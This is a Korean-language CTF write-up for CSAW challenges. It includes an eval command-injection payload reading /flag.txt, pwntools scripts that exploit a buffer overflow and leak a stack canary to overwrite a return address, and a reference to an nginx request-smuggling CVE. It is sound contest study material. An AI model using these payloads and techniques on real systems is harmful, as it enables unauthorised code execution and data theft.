시간이 모자라서 쉬운 것들만 풀어봤습니다.
Intro
my_first_pwnie
소스 코드는 다음과 같습니다.
#!/usr/bin/env python3
# Pwn mostly builds on top of rev.
# While rev is more about understanding how a program works, pwn is more about figuring out how to exploit a program to reach the holy grail: Arbitrary Code Execution
#
# If you can execute arbitrary code on a system, that system might as well be yours...because you can do whatever you want with it! (this is the namesake of "pwn".....if you pwn a system, you own the system)
# Of course, that comes with the limitations of the environment you are executing code in...are you a restricted user, or a super admin?
# Sometimes you can make yourself a super admin starting from being a restricted user.....but we're not gonna do that right now.
#
# For now, I want you to figure out how to execute arbitrary commands on the server running the following code.
#
# To prove to me that you can excute whatever commands you want on the server, you'll need to get the contents of `/flag.txt`
try:
response = eval(input("What's the password? "))
print(f"You entered `{response}`")
if response == "password":
print("Yay! Correct! Congrats!")
quit()
except:
pass
print("Nay, that's not it.")
취약한 함수 eval이 사용됩니다.
다음과 같이 입력하면 루트 디렉토리가 유출됩니다.
__import__('os').system('ls /')
루트 디렉토리에 flag.txt가 존재합니다.
다음과 같이 입력하면 플래그를 얻습니다.
__import__('os').system('cat /flag.txt')
% nc intro.csaw.io 31137
What's the password? __import__('os').system('cat /flag.txt')
csawctf{neigh______}
You entered `0`
Nay, that's not it.
Baby's First
소스 코드는 다음과 같습니다.
#!/usr/bin/env python3
# Reversing is hard. But....not always.
#
# Usually, you won't have access to source.
# Usually, these days, programmers are also smart enough not to include sensitive data in what they send to customers....
#
# But not always....
if input("What's the password? ") == "csawctf{w3_411_star7_5om3wher3}":
print("Correct! Congrats! It gets much harder from here.")
else:
print("Trying reading the code...")
# Notes for beginners:
#
# This is Python file. You can read about Python online, but it's a relatively simple programming language.
# You can run this from the terminal using the command `python3 babysfirst.py`, but I'll direct you to the internet again
# for how to use the terminal to accomplish that.
#
# Being able to run this file is not required to find the flag.
#
# You don't need to know Python to read this code, to guess what it does, or to solve the challenge.
소스 코드에 플래그가 박혀있습니다.
target_practice
IDA로 디컴파일 해보면 다음과 같습니다.
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 v4[3]; // [rsp+8h] [rbp-18h] BYREF
v4[2] = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
fflush(stdout);
fflush(stdin);
printf("Aim carefully.... ");
__isoc99_scanf("%lx", v4);
v4[1] = v4[0];
((void (*)(void))v4[0])();
return 0;
}
16진수로 입력받은 값(4 바이트)을 함수 포인터로 실행시켜 줍니다.
바이너리에는 플래그를 보여주는 cat_flag라는 함수가 존재합니다.
pie 보호 기법이 없어서 그냥 심볼로 때려 넣으면 플래그가 나옵니다.
from pwn import *
# context.log_level = 'debug'
p = remote('intro.csaw.io', 31138)
e = ELF('./target_practice')
flag = e.symbols['cat_flag']
# print(hex(flag))
p.sendlineafter(b'...',hex(flag))
p.interactive()
csawctf{y0ure_a_m4s7er4im3r}
Baby's Third
IDA로 디컴파일 해보면 플래그가 박혀있습니다.
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s1[104]; // [rsp+0h] [rbp-70h] BYREF
unsigned __int64 v5; // [rsp+68h] [rbp-8h]
v5 = __readfsqword(0x28u);
printf("Enter your password: ");
__isoc99_scanf("%99s", s1);
if ( !strcmp(s1, "csawctf{st1ng_th30ry_a1nt_so_h4rd}") )
puts("Correct!");
else
puts("Access denied.");
return 0;
}
puffin
IDA로 디컴파일 해보면 다음과 같습니다.
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[44]; // [rsp+0h] [rbp-30h] BYREF
int v5; // [rsp+2Ch] [rbp-4h]
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
fflush(_bss_start);
fflush(stdin);
v5 = 0;
printf("The penguins are watching: ");
fgets(s, 48, stdin);
if ( v5 )
system("cat /flag.txt");
else
puts(&::s);
return 0;
}
fgets에서 BOF가 발생하여 v5를 덮을 수 있습니다.
from pwn import *
p = remote('intro.csaw.io', 31140)
pay = b'A'*44 + p32(1)
p.sendlineafter(b':',pay)
p.interactive()
csawctf{m4ybe_i_sh0u1dve_co113c73d_mor3_rock5_7o_impr355_her....}
whataxor
IDA로 디컴파일 해보면 다음과 같습니다.
__int64 __fastcall xor_transform(__int64 a1, char a2)
{
__int64 result; // rax
int i; // [rsp+18h] [rbp-4h]
for ( i = 0; ; ++i )
{
result = *(unsigned __int8 *)(i + a1);
if ( !(_BYTE)result )
break;
*(_BYTE *)(i + a1) ^= a2;
}
return result;
}
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s2[80]; // [rsp+0h] [rbp-C0h] BYREF
char s1[104]; // [rsp+50h] [rbp-70h] BYREF
unsigned __int64 v6; // [rsp+B8h] [rbp-8h]
v6 = __readfsqword(0x28u);
printf("Enter your password: ");
__isoc99_scanf("%99s", s1);
xor_transform((__int64)s1, 0xFFFFFFAA);
s2[0] = -55;
s2[1] = -39;
s2[2] = -53;
s2[3] = -35;
s2[4] = -55;
s2[5] = -34;
s2[6] = -52;
s2[7] = -47;
s2[8] = -102;
s2[9] = -60;
s2[10] = -49;
s2[11] = -11;
s2[12] = -39;
s2[13] = -62;
s2[14] = -49;
s2[15] = -49;
s2[16] = -6;
s2[17] = -11;
s2[18] = -101;
s2[19] = -35;
s2[20] = -59;
s2[21] = -11;
s2[22] = -39;
s2[23] = -62;
s2[24] = -49;
s2[25] = -3;
s2[26] = -38;
s2[27] = -11;
s2[28] = -104;
s2[29] = -62;
s2[30] = -40;
s2[31] = -49;
s2[32] = -49;
s2[33] = -11;
s2[34] = -97;
s2[35] = -62;
s2[36] = -49;
s2[37] = -49;
s2[38] = -63;
s2[39] = -39;
s2[40] = -11;
s2[41] = -11;
s2[42] = -11;
s2[43] = -11;
s2[44] = -11;
s2[45] = -48;
s2[46] = -11;
s2[47] = -11;
s2[48] = -11;
s2[49] = -48;
s2[50] = -48;
s2[51] = -48;
s2[52] = -11;
s2[53] = -11;
s2[54] = -11;
s2[55] = -11;
s2[56] = -11;
s2[57] = -48;
s2[58] = -48;
s2[59] = -48;
s2[60] = -48;
s2[61] = -48;
s2[62] = -48;
s2[63] = -11;
s2[64] = -11;
s2[65] = -11;
s2[66] = -11;
s2[67] = -46;
s2[68] = -59;
s2[69] = -40;
s2[70] = -41;
if ( !strcmp(s1, s2) )
puts("Correct!");
else
puts("Access denied.");
return 0;
}
전형적인 xor 역연산 문제입니다.
s2 = [0 for i in range(80)]
s2[0] = 0xC9
s2[1] = 0xD9
s2[2] = 0xCB
s2[3] = 0xDD
s2[4] = 0xC9
s2[5] = 0xDE
s2[6] = 0xCC
s2[7] = 0xD1
s2[8] = 0x9A
s2[9] = 0xC4
s2[10] = 0xCF
s2[11] = 0xF5
s2[12] = 0xD9
s2[13] = 0xC2
s2[14] = 0xCF
s2[15] = 0xCF
s2[16] = 0xFA
s2[17] = 0xF5
s2[18] = 0x9B
s2[19] = 0xDD
s2[20] = 0xC5
s2[21] = 0xF5
s2[22] = 0xD9
s2[23] = 0xC2
s2[24] = 0xCF
s2[25] = 0xFD
s2[26] = 0xDA
s2[27] = 0xF5
s2[28] = 0x98
s2[29] = 0xC2
s2[30] = 0xD8
s2[31] = 0xCF
s2[32] = 0xCF
s2[33] = 0xF5
s2[34] = 0x9F
s2[35] = 0xC2
s2[36] = 0xCF
s2[37] = 0xCF
s2[38] = 0xC1
s2[39] = 0xD9
s2[40] = 0xF5
s2[41] = 0xF5
s2[42] = 0xF5
s2[43] = 0xF5
s2[44] = 0xF5
s2[45] = 0xD0
s2[46] = 0xF5
s2[47] = 0xF5
s2[48] = 0xF5
s2[49] = 0xD0
s2[50] = 0xD0
s2[51] = 0xD0
s2[52] = 0xF5
s2[53] = 0xF5
s2[54] = 0xF5
s2[55] = 0xF5
s2[56] = 0xF5
s2[57] = 0xD0
s2[58] = 0xD0
s2[59] = 0xD0
s2[60] = 0xD0
s2[61] = 0xD0
s2[62] = 0xD0
s2[63] = 0xF5
s2[64] = 0xF5
s2[65] = 0xF5
s2[66] = 0xF5
s2[67] = 0xD2
s2[68] = 0xC5
s2[69] = 0xD8
s2[70] = 0xD7
for s in s2:
print(chr((s^0xAA)&0xff),end='')
csawctf{0ne_sheeP_1wo_sheWp_2hree_5heeks_____z___zzz_____zzzzzz____xor}ªªªªªªªªª
PWN
unlimited_subway
IDA로 디컴파일 해보면 다음과 같습니다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
int idx; // [esp+4h] [ebp-90h] BYREF
int name_len; // [esp+8h] [ebp-8Ch] BYREF
char choice[2]; // [esp+Eh] [ebp-86h] BYREF
unsigned __int8 account[64]; // [esp+10h] [ebp-84h] BYREF
char name[64]; // [esp+50h] [ebp-44h] BYREF
unsigned int v9; // [esp+90h] [ebp-4h]
v9 = __readgsdword(0x14u);
memset(account, 0, sizeof(account));
memset(name, 0, sizeof(name));
*(_WORD *)choice = 0;
idx = 0;
name_len = 0;
init();
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
print_menu();
read(0, choice, 2);
if ( choice[0] != 70 )
break;
printf("Data : ");
read(0, account, 64);
}
if ( choice[0] != 0x56 )
break;
printf("Index : ");
__isoc99_scanf("%d", &idx);
view_account(account, idx);
}
if ( choice[0] == 'E' )
break;
puts("Invalid choice");
}
printf("Name Size : ");
__isoc99_scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
}
Name의 Size를 마음대로 설정할 수 있어서 BOF를 발생시킬 수 있습니다.
다만 카나리가 존재하기 때문에 이를 우회해야 합니다.
(일부러 32비트로 좀 더 쉽게 내려고 한 듯..)
view_account에서 입력값 검증이 없어 oob가 발생해 카나리를 읽을 수 있습니다.
account에 'aaaa'를 넣고 인덱스로 1111(0x457)을 넣은 뒤 스택의 상태를 확인합니다.
우선 카나리 값을 찾아준 뒤 스택의 상태를 확인해보면
index로 입력한 값이 $ebp-0x90에 저장되며
account 배열은 $ebp-0x84부터 시작함을 알 수 있습니다.
오프셋은 128 바이트 입니다.
따라서 view_account의 인덱스로 128, 129, 130, 131을 넣으면 카나리 릭이 가능합니다.
pwndbg> canary
AT_RANDOM = 0xffffd6ab # points to (not masked) global canary value
Canary = 0x72b6ab00 (may be incorrect on != glibc)
Found valid canaries on the stacks:
00:0000│ 0xffffd2b0 ◂— 0x72b6ab00
00:0000│ 0xffffd3d4 ◂— 0x72b6ab00
00:0000│ 0xffffd3d8 ◂— 0x72b6ab00
00:0000│ 0xffffd4b4 ◂— 0x72b6ab00
00:0000│ 0xffffd50c ◂— 0x72b6ab00
pwndbg> x/40wx $ebp-0x90
0xffffd428: 0x00000457 0x00000000 0x0a560000 0x61616161
0xffffd438: 0x0000000a 0x00000000 0x00000000 0x00000000
0xffffd448: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd458: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd468: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd478: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd488: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd498: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd4a8: 0x00000000 0x00000000 0x00000000 0x72b6ab00
0xffffd4b8: 0xf7ffd020 0xf7d9d519 0x00000001 0xffffd574
pwndbg> p 0xffffd4b4-0xffffd434
$2 = 128
이제 리턴 영역을 플래그를 출력해주는 함수 print_flag로 오버라이트 시키면 플래그가 나옵니다.
from pwn import *
# context.log_level = 'debug'
p = remote('pwn.csaw.io', 7900)
e = ELF('./unlimited_subway')
flag = e.symbols['print_flag']
def _exit(size,data):
p.sendafter(b'>',b'E')
p.sendlineafter(b':',str(size))
p.sendafter(b':',data)
def _view(index):
p.sendafter(b'>',b'V')
p.sendlineafter(b':',str(index))
p.recvuntil(b': ')
return p.recvline()[:-1]
canary = b''
# 128, 129, 130, 131
for i in range(128,132):
canary += _view(i)
canary = bytes.fromhex(canary.decode())
pay = b'a'*64 + canary + b'b'*4 + p32(0x8049304)
print(canary)
_exit(len(pay),pay)
p.interactive()
csawctf{my_n4m3_15_079_4nd_1m_601n6_70_h0p_7h3_7urn571l3}
REV
Rebug 1
IDA로 디컴파일 해보면 다음과 같습니다.
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
char v5[44]; // [rsp+0h] [rbp-440h] BYREF
int v6; // [rsp+2Ch] [rbp-414h] BYREF
char v7[16]; // [rsp+30h] [rbp-410h] BYREF
char v8[1008]; // [rsp+40h] [rbp-400h] BYREF
__int64 v9; // [rsp+430h] [rbp-10h]
int j; // [rsp+438h] [rbp-8h]
int i; // [rsp+43Ch] [rbp-4h]
printf("Enter the String: ");
__isoc99_scanf("%s", v8);
for ( i = 0; v8[i]; ++i )
;
if ( i == 12 )
{
puts("that's correct!");
v9 = EVP_MD_CTX_new();
v3 = EVP_md5();
EVP_DigestInit_ex(v9, v3, 0LL);
EVP_DigestUpdate(v9, "12", 2LL);
v6 = 16;
EVP_DigestFinal_ex(v9, v7, &v6);
EVP_MD_CTX_free(v9);
for ( j = 0; j <= 15; ++j )
sprintf(&v5[2 * j], "%02x", (unsigned __int8)v7[j]);
printf("csawctf{%s}\n", v5);
}
else
{
printf("that isn't correct, im sorry!");
}
return 0;
}
i가 12이면 플래그를 줍니다.
이는 입력 값의 길이가 12이어야 한다는 것을 의미합니다.
$ ./Rebug1
Enter the String: 111111111111
that's correct!
csawctf{c20ad4d76fe97759aa27a0c99bff6710}
Rebug 2
IDA로 디컴파일 해보면 다음과 같습니다.
int __fastcall main(int argc, const char **argv, const char **envp)
{
_WORD v4[8]; // [rsp+0h] [rbp-20h] BYREF
int v5; // [rsp+10h] [rbp-10h]
int v6; // [rsp+18h] [rbp-8h]
int i; // [rsp+1Ch] [rbp-4h]
strcpy((char *)v4, "BgApYb7nCswD");
HIBYTE(v4[6]) = 0;
v4[7] = 0;
v5 = 0;
v6 = 12;
printf("That is incorrect :(");
for ( i = 0; i < v6; ++i )
{
if ( (i & 1) == 0 && i )
printbinchar(*((_BYTE *)v4 + i));
}
return 0;
}
__int64 __fastcall printbinchar(char a1)
{
__int64 v2[4]; // [rsp+10h] [rbp-30h] BYREF
int v3; // [rsp+34h] [rbp-Ch]
char v4; // [rsp+3Bh] [rbp-5h]
int i; // [rsp+3Ch] [rbp-4h]
memset(v2, 0, sizeof(v2));
v4 = a1;
for ( i = 0; i <= 7; ++i )
{
v3 = (v4 << i >> 7) & 1;
*((_DWORD *)v2 + i) = v3;
}
return xoring((__int64)v2);
}
__int64 __fastcall xoring(__int64 a1)
{
__int64 v2[2]; // [rsp+8h] [rbp-30h]
__int64 v3[3]; // [rsp+18h] [rbp-20h]
int j; // [rsp+30h] [rbp-8h]
int i; // [rsp+34h] [rbp-4h]
v3[0] = 0LL;
v3[1] = 0LL;
v2[0] = 0LL;
v2[1] = 0LL;
for ( i = 0; i <= 3; ++i )
{
*((_DWORD *)v3 + i) = *(_DWORD *)(4LL * i + a1);
*((_DWORD *)v2 + i) = *(_DWORD *)(4 * (i + 4LL) + a1);
}
for ( j = 0; j <= 3; ++j )
{
if ( *((_DWORD *)v3 + j) == *((_DWORD *)v2 + j) )
flag[index_flag] = 48;
else
flag[index_flag] = 49;
++index_flag;
}
return 0LL;
}
조건문은 크게 신경쓰지 않아도 되며, 반복문이 끝난 뒤에 flag를 확인해주면 됩니다.
GDB로 디스어셈블 해보면 다음과 같습니다.
pwndbg> disassemble main
Dump of assembler code for function main:
...
0x000000000000130d <+105>: call 0x122c <printbinchar>
0x0000000000001312 <+110>: add DWORD PTR [rbp-0x4],0x1
0x0000000000001316 <+114>: mov eax,DWORD PTR [rbp-0x4]
0x0000000000001319 <+117>: cmp eax,DWORD PTR [rbp-0x8]
0x000000000000131c <+120>: jl 0x12ee <main+74>
0x000000000000131e <+122>: mov eax,0x0
0x0000000000001323 <+127>: leave
0x0000000000001324 <+128>: ret
main+122에 브레이크 포인트를 걸어준 뒤 가보면
RDX 레지스터가 플래그가 저장된 주소를 가리키고 있습니다.
*RDX 0x555555558030 (flag) ◂— '01011100010001110000'
csawctf{01011100010001110000}
WEB
Smug-Dino
문제 화면입니다.
/flag로 접근하면 파일을 가져올 수 없습니다.
/hint에서 서버 이름과 버전을 입력하면 힌트를 준다고 합니다.
서버 정보는 헤더에 나와있듯이 nginx/1.17.6 입니다.
다음과 같은 힌트가 주어집니다.
검색해보면 CVE-2019-20372 취약점을 활용한 문제임을 알 수 있습니다.
https://grooveshark.tistory.com/314
Host의 포트 번호를 날리면 플래그가 나옵니다.
'CTF' 카테고리의 다른 글
TetCTF 2024 (0) | 2024.01.29 |
---|---|
vsCTF 2023 (0) | 2023.09.25 |
SECCON CTF 2023 Quals (0) | 2023.09.17 |
BDSec CTF 2023 (0) | 2023.07.22 |
AmateursCTF 2023 (0) | 2023.07.20 |